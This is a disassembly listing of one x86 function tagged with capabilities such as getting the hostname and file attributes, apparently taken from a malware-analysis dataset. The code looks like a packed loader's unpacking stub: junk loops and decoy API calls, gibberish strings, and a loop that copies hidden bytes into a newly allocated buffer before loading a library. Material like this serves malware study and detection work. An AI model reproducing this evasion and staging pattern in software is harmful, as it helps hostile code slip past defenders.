Function at 0x40b7ba
Capabilities:
Get file attributes
Get hostname
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x184c
call fcn.0040a430
mov eax, dword [0x436008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x1bb0cb4]
push esi
xor esi, esi
xor ecx, ecx
cmp ecx, 0x180
jne 0x40b7ed
mov eax, dword [0x439bf4]
add eax, 0xa231
cmp eax, 0x141
jne 0x40b805
or dword [0x43a7e4], 0xffffffff
mov dword [0x43a7e0], 0xec58acac
inc ecx
cmp ecx, 0x12376ec
jl 0x40b7db
push edi
mov dword [0x1bb0cb4], eax
xor edi, edi
cmp edi, 0x562d05
jne 0x40b82a
mov ecx, dword [0x436fe8]
mov dword [0x1bb0cb8], ecx
cmp eax, 0x3c
jne 0x40b83d
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
mov eax, dword [0x1bb0cb4]
inc edi
cmp edi, 0x5f6c74
jl 0x40b816
push ebx
mov ebx, 0x43a758
cmp eax, 0x7c
jne 0x40b8f0
lea eax, [ebp - 0x184c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
xor eax, eax
mov word [ebp - 0x1838], ax
lea edi, [ebp - 0x1836]
stosw word es:[edi], ax
mov word [ebp - 0x1830], ax
lea edi, [ebp - 0x182e]
stosw word es:[edi], ax
lea eax, [ebp - 0x1840]
push eax
push dword [ebp - 0x1830]
lea eax, [ebp - 0x1834]
push dword [ebp - 0x1838]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputW]
push esi
call dword [sym.imp.KERNEL32.dll_FindVolumeMountPointClose]
push esi
lea eax, [ebp - 0x404]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
push esi
call dword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
push 0x43469e
push ebx
call fcn.0040100f
push esi
call fcn.004014c8
mov eax, dword [0x1bb0cb4]
add esp, 0xc
cmp eax, 0x110a
jne 0x40b9e4
lea eax, [ebp - 0x1830]
push eax
push esi
push str.gehidudujuzevumaraxixabizakinixovozesozoyakesovilugayuyoyopobedoloxujazafezucuficapizitedofucocasibaw
push esi
push esi
mov dword [0x1bb0b80], esi
mov dword [0x1bb0b84], esi
call dword [sym.imp.KERNEL32.dll_GetStringTypeExW]
lea eax, [ebp - 0x1834]
push eax
lea eax, [ebp - 0x1404]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
xor eax, eax
mov word [ebp - 0x1848], ax
lea edi, [ebp - 0x1846]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push esi
stosw word es:[edi], ax
lea eax, [ebp - 0x404]
push eax
push str.riputuliriv_vuromelehicareperewogigolemoxit
lea eax, [ebp - 0x1848]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
push str.popericezanariteyohezakig
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push esi
push esi
push esi
lea eax, [ebp - 0x1804]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CompareStringA]
push esi
push esi
lea eax, [ebp - 0xc04]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
push esi
call fcn.0040135b
push esi
call fcn.0040135b
xor eax, eax
push esi
mov dword [ebp - 0x1808], 7
mov dword [ebp - 0x180c], esi
mov word [ebp - 0x181c], ax
call fcn.0040135b
push esi
call fcn.004012b8
push esi
push esi
call fcn.004014de
push 0x4347b4
push ebx
call fcn.004014ab
add esp, 0x20
push esi
call fcn.00401999
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
xor edi, edi
mov dword [0x1bb09d4], eax
pop ebx
cmp dword [0x1bb0cb4], esi
jbe 0x40ba51
mov eax, dword [0x1bb0cb8]
mov dword [ebp - 0x1830], eax
mov eax, 0xa231
add dword [ebp - 0x1830], eax
mov eax, dword [ebp - 0x1830]
mov al, byte [eax + edi]
mov ecx, dword [0x1bb09d4]
mov byte [ecx + edi], al
cmp dword [0x1bb0cb4], 0x5ab
jne 0x40ba48
push esi
push dword [ebp - 0x1834]
push esi
call dword [sym.imp.ADVAPI32.dll_DuplicateToken]
mov dword [0x1bb09d8], 0x19b0
inc edi
cmp edi, dword [0x1bb0cb4]
jb 0x40b9fc
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.0040b54d
call fcn.0040b52f
call fcn.0040b73d
xor eax, eax
cmp eax, 0xd606b
jne 0x40ba79
call fcn.0040b524
inc eax
cmp eax, 0x24e87d
jl 0x40ba6d
mov edi, 0x1e4165
cmp dword [0x1bb0cb4], 0xcc1
jne 0x40ba9b
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
cmp dword [0x1bb0cb4], 0x7c4
mov dword [0x1bb09dc], 0x8e46a6f0
jne 0x40baba
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
dec edi
jne 0x40ba86
pop edi
cmp esi, 0x408e
jle 0x40bad2
cmp dword [ebp - 0x1824], 0xf5bed7
jne 0x40badb
inc esi
cmp esi, 0x687ed2
jl 0x40babe
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00401000
leave
ret